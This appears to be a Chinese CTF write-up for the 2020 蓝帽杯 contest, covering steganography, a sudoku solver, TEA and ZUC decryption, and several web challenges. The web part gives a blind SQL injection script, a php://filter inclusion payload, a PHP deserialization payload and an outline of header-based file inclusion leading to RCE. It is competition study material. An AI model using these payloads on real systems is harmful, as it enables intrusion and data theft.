CTF

蓝帽杯|writeup

Posted by Elli0t on 2020-08-08

Misc

签到

StegSolve 在 Red plane1 处可以看到 flag{we1

asdf3434tg

然后将图片改为 gif ,出现第二张图。

hello123456

将第二张图导出,然后同样是在 Red plane 1 处发现 flag

hello12390897845

sudo

是一个解数独的题,在网上找解数独的脚本,试了几个,最后找到这里的脚本,速度比较快

https://blog.csdn.net/littlethunder/article/details/9749509?utm_source=blogxgwz0

需要 nc 进行交互,于是根据这个脚本改了改,使用 pwntools 进行远程交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python3
from pwn import*
import time
t0 = time.time()
lastAns=[]
exitFlag=False
class point:
def __init__(self, x, y):
self.x = x
self.y = y
self.available = []
self.value = 0


def rowNum(p, sudoku):
row = set(sudoku[p.y * 9:(p.y + 1) * 9])
row.remove(0)
return row


def colNum(p, sudoku):
col = []
length = len(sudoku)
for i in range(p.x, length, 9):
col.append(sudoku[i])
col = set(col)
col.remove(0)
return col


def blockNum(p, sudoku):
block_x = p.x // 3
block_y = p.y // 3
block = []
start = block_y * 3 * 9 + block_x * 3
for i in range(start, start + 3):
block.append(sudoku[i])
for i in range(start + 9, start + 9 + 3):
block.append(sudoku[i])
for i in range(start + 9 + 9, start + 9 + 9 + 3):
block.append(sudoku[i])
block = set(block)
block.remove(0)
return block


def initPoint(sudoku):
pointList = []
length = len(sudoku)
for i in range(length):
if sudoku[i] == 0:
p = point(i % 9, i // 9)
for j in range(1, 10):
if j not in rowNum(p, sudoku) and j not in colNum(p, sudoku) and j not in blockNum(p, sudoku):
p.available.append(j)
pointList.append(p)
return pointList


def tryInsert(p, sudoku):
global exitFlag
global lastAns
availNum = p.available
for v in availNum:
p.value = v
if check(p, sudoku):
sudoku[p.y * 9 + p.x] = p.value
if len(pointList) <= 0:
t1 = time.time()
useTime = t1 - t0
showSudoku(sudoku)
lastAns=sudoku
exitFlag=True
print('\nuse Time: %f s' % (useTime))
return
p2 = pointList.pop()
tryInsert(p2, sudoku)
if(exitFlag):
return
sudoku[p2.y * 9 + p2.x] = 0
sudoku[p.y * 9 + p.x] = 0
p2.value = 0
pointList.append(p2)
else:
pass


def check(p, sudoku):
if p.value == 0:
return False
if p.value not in rowNum(p, sudoku) and p.value not in colNum(p, sudoku) and p.value not in blockNum(p, sudoku):
return True
else:
return False


def showSudoku(sudoku):
for j in range(9):
for i in range(9):
print('%d ' % (sudoku[j * 9 + i]), end='')
print('')


if __name__ == '__main__':
sh = remote("47.93.204.245",12000)
exitFlag=False
while True:
line1=sh.recvline()
#print(line1)
if(line1.decode()=='Congratulation!\n'):
sh.interactive()
line1=line1.decode().strip().replace("#", "0").replace("\n", "").split(" ")
line1=[ int(x) for x in line1 ]
line2=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line2=[ int(x) for x in line2 ]
line3=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line3=[ int(x) for x in line3 ]
line4=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line4=[ int(x) for x in line4 ]
line5=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line5=[ int(x) for x in line5 ]
line6=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line6=[ int(x) for x in line6 ]
line7=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line7=[ int(x) for x in line7 ]
line8=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line8=[ int(x) for x in line8 ]
line9=sh.recvline().decode().strip().replace('#', '0').replace("\n", "").split(" ")
line9=[ int(x) for x in line9 ]
linetotal=line1+line2+line3+line4+line5+line6+line7+line8+line9
sh.recvuntil("input your answer[ (1~9)*81 ]:")
sudoku = linetotal
pointList = initPoint(sudoku)
showSudoku(sudoku)
p = pointList.pop()
tryInsert(p, sudoku)
lastAns=[ str(x) for x in lastAns ]
print(''.join(lastAns))
sh.sendline(''.join(lastAns))
print(sh.recvline())
exitFlag=False
td7N1dMujs5rSyOr

熟悉的加密

打开题目看到的是每行都被 base64 加密,直接解密。发现使用的是 Tea 加密算法

https://blog.csdn.net/weixin_43360152/article/details/100603860

Tea算法是一种分组加密算法,以原文以8字节(64bite)为一组,密钥16字节(128bite)为一组,(char为1字节,int为4字节,double为8字节),该算法加密轮次可变,建议为32轮。(最低为16轮)
Tea算法的特征是存在0x9e3779b9.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys
from ctypes import *
def encipher(v, k): # Tea 算法
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1
w[0] = y.value
w[1] = z.value
return w
def encodestr(text, key):
cipherList = []
text += (8 - len(text) % 8) * chr(0) # 8字节对齐
for i in range(len(text)/8): # len(text) = 40
v1 = 0
v2 = 0
for j in range(4):
v1+= ord(text[i*8+j]) << (3-j)*8
v2+= ord(text[i*8+j+4]) << (3-j)*8
cipherList.append(encipher([v1,v2],key))
return cipherList

if __name__ == "__main__":
key = [11,22,33,44]
flag = 00
cipher = encodestr(flag1,key)
#cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
# for 循环走了 5 次

时间原因只写完了 encipher(v, k) 部分的解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys
from ctypes import *
v = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
v0 = c_uint32(v[0][0])
v1 = c_uint32(v[0][1])
sum = c_uint32(0)
delta=0x9e3779b9
k= [11,22,33,44]
for i in range(32):
v1.value -= ((v0.value<<4) + k[0]) ^ (v0.value + sum.value) ^ ((v0.value>>5) + k[1])
v0.value -= ((v1.value<<4) + k[2]) ^ (v1.value + sum.value) ^ ((v1.value>>5) + k[3])
sum.value -= delta
print v1.value
print v0.value

Web

easiestSQLi

布尔盲注,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://eci-2ze2wcynh47kytdrpsxq.cloudeci1.ichunqiu.com/?id="
result = ""
for i in range(1,50):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.get(url+payload)
if "YES" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low ==32 or high==128):
break
result = result + chr(mid)
print(result)
XTgDNphftAM9eJAD

文件包含

payload:

1
?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

flag 是出来了,但是格式不对

1320C1C4E122FC6C66C77934908F3733

Soitgoes

payload

1
?file=try.php&p=O:4:"Seri":1: {s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:9:"$this- >t2";s:2:"t2";R:4;}}
hello123454234

Inclusion

BUU 原题,改了一些:https://ha1c9on.top/2020/05/13/phuck2/

X_FORWARDED_FOR 参数可以获取到指定文件夹内容

file_put_contents 把 $_SERVER 的所有数据写到 userFolder/profile 里

allow_url_include=Off

file_get_contents在处理data:xxx时会直接取xxx

只要将xff头改成我们要的文件名,然后随意插入一个http头,包含我们的恶意代码,文件包含即可执行任意rce命令

而include会包含文件名为data:xxx的文件

hello12398010923

Crypto

zuc

github搜索到的解密项目

https://github.com/guanzhi/GmSSL

编译安装运行

ZUC encryption and decryption:

1
2
$ gmssl zuc -in README.md -out README.zuc
$ gmssl zuc -d -in flag.zuc

hello34342413